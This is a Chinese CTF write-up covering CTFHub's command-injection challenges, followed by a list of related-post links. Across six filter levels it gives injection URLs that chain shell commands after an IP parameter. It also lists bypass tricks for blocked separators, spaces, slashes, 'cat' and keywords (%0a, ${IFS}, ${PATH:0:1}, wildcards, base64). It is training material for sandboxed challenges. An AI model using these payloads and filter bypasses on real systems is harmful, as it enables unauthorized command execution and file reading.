CTF刷题记录CTFHub-RCE-命令注入
**
CTFHub-RCE-命令注入
**
1.无任何的过滤
一、解题思路
通过输入一些指令,利用某些特定的函数进行的操作,从而达到命令执行攻击的效果。
因为没有任何的过滤,那么我们可以直接使用分号(;)闭合前面的语句,执行ls命令
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
通过执行ls命令可以看到,该目下的文件,这是linux环境下
如果是window环境下,使用命令dir查看目录文件
我们使用cat命令读取index.php文件
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat index.php
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat 137391798722228.php
那我们也读取137391798722228.php这个文件试试
查看页面源代码,可以得到flag
二、知识点:
1、每个命令之间用(分号)”;”隔开;
说明:各命令的执行结果,不会影响其他命令的。
意思是说每个命令都会执行,但不保证每个命令都执行成功。
2、每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样的话,可以保证所有的命令执行完毕后,执行的过程都是成功的。
3、每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后采取执行下一条命令,直到执行成功一条命令为止。
4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5、&是后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
**
2.过滤cat
**
一、解题思路
当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容
直接使用分号(;)代替回车,执行ls命令
可以看到flag_124552338228659.php文件,那么我们可以直接使用cat进行读取
可是回显的是cat被过滤了,那么使用less或more试试
查看页面源代码,可以得到flag
3.过滤空格
直接使用分号(;)代替回车,执行ls命令
可以看到flag_806737515962.php文件,那么我们可以直接使用cat进行读取
可是回显的是空格被过滤了,那么使用<或${IFS}试试
查看页面源代码,可以得到flag
当空格被过滤后,可以使用一下命令进行读取文件的内容
< <> >重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
4.过滤目录分隔符
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
我们可以看到,使用逗号分隔符(;)结束前面的命令,成功执行ls命令,发现文件夹flag_is_here,接下来我们使用cd命令,进入到文件夹呢,ls查看这个文件的内容
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls
发现该文件夹中有一个名为flag_252412887014927.php的文件
我直接使用cat f*读取文件,查看页面源代码,得到flag
方法二:
在linux的系统环境变量中${PATH:0:/}代替/
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls flag_is_here{PATH:0:1}
同样也可以,得到flag_is_here中的文件内容
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here${PATH:0:1}flag_252412887014927.php
查看页面源代码得到flag
5.过滤运算符
直接上手,执行ls命令,发现成功执行
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
接下来,直接使用cat读取文件
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_7666637111301.php
查看页面源代码,得到flag
经过测试,过滤了管道符(|),直接使用逗号(;)分隔
方法二
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;base64 flag_7666637111301.php
使用base64加密这个文件
使用base64在线解密,得到flag
6.综合过滤练习
直接使用逗号分隔(;)进行分隔,执行ls命令,发现逗号(;)被过滤
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
命令分隔符的绕过姿势
;
%0a
%0d
&
那我们使用%0a试试,发现ls命令被成功执行
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als
发现一个名为flag_is_here的文件夹和index.php的文件,那么我们还是使用cd命令进入到文件夹下
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd flag_is_here%0als
发现空格和flag被过滤,空格绕过前面已经讲述,这里就不在赘述,直接尝试${IFS}进行空格绕过,使用fla\g反斜杠转义flag
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0als
成功读取flag_is_here文件夹下的内容
接下来,直接使用cat读取flag_300121897522180.php文件里的内容
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0acat${IFS}fla\g_300121897522180.php
发现过滤了cat,前面也讲过cat的绕过姿势,这里不在赘述,直接尝试less
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0aless${IFS}fla\g_300121897522180.php
命令执行成功,查看页面源代码得到flag
方法二
使用通配符进行绕过
符号 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
– | – |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符和字符集合 |
– | – |
[!list] | 同[^list] |
{str1,str2,…} | 匹配str1或者str2或者更多字符串,也可以是集合 |
http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0aless${IFS}f*
查看页面源代码,也可以得到flag
如果不想查看页面源代码,也可以使用base64加密flag_318922667817912.php文件
http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0abase64${IFS}f*
然后进行base64解密,即可得到flag
CTF刷题记录CTFHub-RCE-命令注入相关推荐
- 【2023.5.3~2023.5.9】CTF刷题记录
目录 日期:2023.5.3 题目:[GWCTF 2019]pyre 日期:2023.5.4 题目:[ACTF新生赛2020]easyre 题目:DASCTF Apr.2023 X SU战队2023开 ...
- CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
题目 给出的靶机如下: 解题思路 首先判断这是考察哪个知识点,只有一个输入框,题目中又说到入侵,首先考虑sql注入,下面介绍手工和自动化注入两种方式 (1)手工注入 先随便输入几个值,发现只有在值等于 ...
- CTF BugKu平台——Crypto篇刷题记录(后续更新)
CTF BugKu平台--Crypto篇 前言 抄错的字符: /.- 聪明的小羊: ok: [+-<>]: 把猪困在猪圈里: 你喜欢下棋吗: 小山丘的秘密: EN-气泡: 你以为是md5吗 ...
- BUUCTF-2020寒假刷题记录
BUUCTF-2020寒假刷题记录 Web [RoarCTF 2019]Easy Calc 打开源码,看到calc.php,打开看到源码. 在 num 前面加个空格即可绕过 ? num=phpinfo ...
- BUUCTF刷题记录(7)
文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...
- CTF刷题网站汇总(包括本地可以自己搭建的)(1)
CTF刷题网站汇总(包括本地可以自己搭建的) CTF刷题平台汇总(欢迎各位师傅们补充) 第一个当然是CTFshow啦!https://ctf.show/ 攻防世界 https://adworld.xc ...
- 攻防世界MISC进阶区刷题记录
文章目录 攻防世界MISC进阶区刷题记录 Ditf 运用stegextract进行分离 glance-50 gif图片分离组合脚本 hit-the-core Test-flag-please-igno ...
- 攻防世界misc高手进阶区刷题记录
攻防世界misc高手进阶区刷题记录 easycap 解压出来之后为一个pcap文件,使用wireshark打开 右键追踪TCP数据流即可获得flag flag:385b87afc8671dee0755 ...
- 【信息技术刷题记录】 04 Office相关操作及计算机网络知识篇
刷题记录 Office相关操作及计算机网络知识 写在前面:此系列文章只为参加知识竞赛时的记录 对题目提出一些自己的想法 有啥不对的地方还望谅解和指正 不胜感激 第四次记录 一.Offic相关操作 A. ...
最新文章
- JavaScript 事件——“事件类型”中“复合事件”和“变动事件”的注意要点
- 前台页面验证中需要注意的一个与VARCHAR2(N BYTE)和VARCHAR2(N CHAR)的小细节
- SecureCRT 日志添加时间戳(精确到毫秒)
- rog live service是什么_王者荣耀五周年好礼送不停,玩游戏还能白嫖ROG游戏手机3?...
- arpanet(阿帕网)
- 小学生眼里的飞鸽传书
- cassandra 数据量_Cassandra和Spark的数据处理简介
- fstream的用法-----------------2012.12.26
- Win10 Redstone再添新技能:深度集成App-V应用虚拟化
- AcWing 885. 求组合数 I(递推式预处理)
- 关于Mybatis的xml配置文件中使用and与or混合查询
- php 安卓百度地图,Android百度地图开发总结
- 威联通服务器操作系统,QNAP 威联通 453BT3 网络存储服务器 使用手记,Nas中的小钢炮...
- C++程序设计(矩形法求定积分)
- Log-normal distribution对数正态分布
- Android 获取 OAID ,替换 IMEI (兼容 Android 10获取IMEI问题)
- 关于html video 在chrome浏览器下无法快进问题解决
- 【搬运工】值得一提的生活窍门
- spring中涉及到的设计模式
- MySQL数据库服务的简单开启和关闭
热门文章
- 香港服务器的3c直连网络是什么概念,跟CN2的线路有什么不一样
- android:几种常见的Adapter介绍
- 智能化助力抗疫新模式“场所码”实现精准防控
- Implement a customized pin code input control
- java上机实验报告(7)_Java上机实验报告
- r+w+无法写入/读取文件:w+和r+的根本区别
- 华为交换机配置SSH——实现远程登录调试
- 记录篇(2)---- uniapp在项目中的实际问题
- Vim插件管理利器——Vundle
- 公共基础知识:吴中四士